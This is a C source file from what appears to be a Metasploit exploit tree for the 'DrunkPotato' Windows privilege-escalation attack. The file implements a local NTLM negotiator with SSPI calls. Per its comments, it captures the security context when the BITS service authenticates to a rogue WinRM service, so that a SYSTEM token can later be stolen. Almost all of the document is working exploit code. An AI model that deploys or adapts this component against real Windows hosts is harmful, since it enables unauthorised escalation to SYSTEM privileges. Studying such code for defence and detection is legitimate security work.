Files
metasploit-gs/external/source/exploits/drunkpotato/Common_Src_Files/LocalNegotiator.c
T

224 lines
6.1 KiB
C

/**
This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
in particular for the local negotiator.
See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
for how I emulated a class in pure C.
The local negotiator is an object used to handle security an client-server negotiation data. In this
exploit, it is used by elevatorService.c (Rogue WinRM service) in order to store security context
obtained when BITS shoots the Rogue WinRM service, and is required by this service to authenticate.
*/
#include "pch.h"
/**
Constructor of the LocalNegotiator class. Setup the addresses of class methods,
and initialize some arguments
@param LocalNegotiator* this Address of the instantiated object.
*/
void Init(LocalNegotiator* this)
{
/* Cleaning everything. This is not very useful as we calloc-ed LocalNegotiator,
but this is in the case somebody would reuse this function or change the code elswhere.*/
ZeroMemory(this, sizeof(LocalNegotiator));
// linking of class methods
this->destruct = &destructNegotiator;
this->processNtlmBytes = &processNtlmBytes;
this->handleType1 = &HandleType1;
this->handleType3 = &HandleType3;
this->returnType2 = &ReturnType2;
// Initialization of attributes
this->phContext = (PCtxtHandle)calloc(1, sizeof(CtxtHandle));
this->authResult = -1;
return;
}
/**
destructor of the LocalNegotiator Class. Free allocated memory
@param LocalNegotiator* this Address of the instantiated object.
*/
void destructNegotiator(LocalNegotiator* this)
{
free(this->phContext);
this->phContext = NULL;
free(this);
return;
}
/**
This static function is a router which process NTLM request bytes according to if it is a
NTLM 1 or 3 request (for calling a security context through handleType in localNegotiator
object.
@param LocalNegotiator* this Address of negotiator object
@param char* ntlmBytes Address of buffer hosting raw bytes of NTLM request
@param unsigned short len Length of previous buffer argument
@return int Error code. 0 for success.
*/
static int processNtlmBytes(LocalNegotiator* this, char* ntlmBytes, unsigned short len)
{
int messageType = ntlmBytes[8];
switch (messageType)
{
case 1:
//NTLM type 1 message
dprintf("[processNtlmBytes] -- handleType1 start --");
this->handleType1(this, ntlmBytes, len);
dprintf("[processNtlmBytes] -- handleType1 end --");
break;
case 3:
//NTLM type 3 message
dprintf("[processNtlmBytes] -- handleType3 start --");
this->handleType3(this, ntlmBytes, len);
dprintf("[processNtlmBytes] -- handleType3 end --");
break;
default:
dprintf("[processNtlmBytes] ERROR: unknown NTLM message type...");
return -1;
break;
}
return 0;
}
/**
Process the data sent by the first request of BITS server (ntlmBytes)
by creating a security context stored in the local negotiator instance.
@param LocalNegotiator* this Address of the instantiated object.
@param char* ntlmBytes packet sent by BITS server
@param unsigned short len length of packet sent by BITS (length of prev argument)
@return int Error code. 0 for success.
*/
static int HandleType1(LocalNegotiator* this, char* ntlmBytes, unsigned short len)
{
int status = -1;
LPSTR lpPackageName = "Negotiate";
TimeStamp ptsExpiry;
TimeStamp tsContextExpiry;
ULONG fContextAttr;
status = AcquireCredentialsHandleA
(
NULL,
lpPackageName,
SECPKG_CRED_INBOUND,
NULL,
NULL,
0,
NULL,
&this->hCred,
&ptsExpiry
);
if (status != SEC_E_OK)
{
dprintf("[HandleType1] ERROR: AcquireCredentialsHandleA return value: 0x%x", status);
return -1;
}
InitTokenContextBuffer(&this->secClientBufferDesc, &this->secClientBuffer);
InitTokenContextBuffer(&this->secServerBufferDesc, &this->secServerBuffer);
this->secClientBuffer.cbBuffer = len;
this->secClientBuffer.pvBuffer = ntlmBytes;
status = AcceptSecurityContext
(
&this->hCred,
NULL,
&this->secClientBufferDesc,
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
//STANDARD_CONTEXT_ATTRIBUTES,
SECURITY_NATIVE_DREP,
this->phContext,
&this->secServerBufferDesc,
&fContextAttr,
&tsContextExpiry
);
dprintf("[HandleType1] Result of AcceptSecurityContext() = status: 0x%x--", status);
return status;
}
/**
Process the data sent by the second request of BITS server, when it answer to the challenge-response
proposed by the rogue WinRM service (elevatorService.c) by creating a security context stored in the
local negotiator instance. This security context will be used later to steal a SYSTEM token.
@param LocalNegotiator* this Address of the instantiated object.
@param char* ntlmBytes packet sent by BITS server
@param unsigned short len length of packet sent by BITS (length of prev argument)
@return int Error code. 0 for success.
*/
static int HandleType3(LocalNegotiator* this, char* ntlmBytes, unsigned short len)
{
InitTokenContextBuffer(&this->secClientBufferDesc, &this->secClientBuffer);
InitTokenContextBuffer(&this->secServerBufferDesc, &this->secServerBuffer);
this->secClientBuffer.cbBuffer = len;
this->secClientBuffer.pvBuffer = ntlmBytes;
ULONG fContextAttr;
TimeStamp tsContextExpiry;
int status = AcceptSecurityContext
(
&this->hCred,
this->phContext,
&this->secClientBufferDesc,
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
//STANDARD_CONTEXT_ATTRIBUTES,
SECURITY_NATIVE_DREP,
this->phContext,
&this->secServerBufferDesc,
&fContextAttr,
&tsContextExpiry
);
this->authResult = status;
dprintf("[HandleType3] Result of AcceptSecurityContext() = status: 0x%x--", status);
return status;
}
static char* ReturnType2(LocalNegotiator* this, unsigned short* outbuffer_len)
{
*outbuffer_len = (unsigned short)this->secServerBuffer.cbBuffer;
return (char*)this->secServerBuffer.pvBuffer;
}
static void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer)
{
pSecBuffer->BufferType = SECBUFFER_TOKEN;
pSecBuffer->cbBuffer = 0;
pSecBuffer->pvBuffer = NULL;
pSecBufferDesc->ulVersion = SECBUFFER_VERSION;
pSecBufferDesc->cBuffers = 1;
pSecBufferDesc->pBuffers = pSecBuffer;
}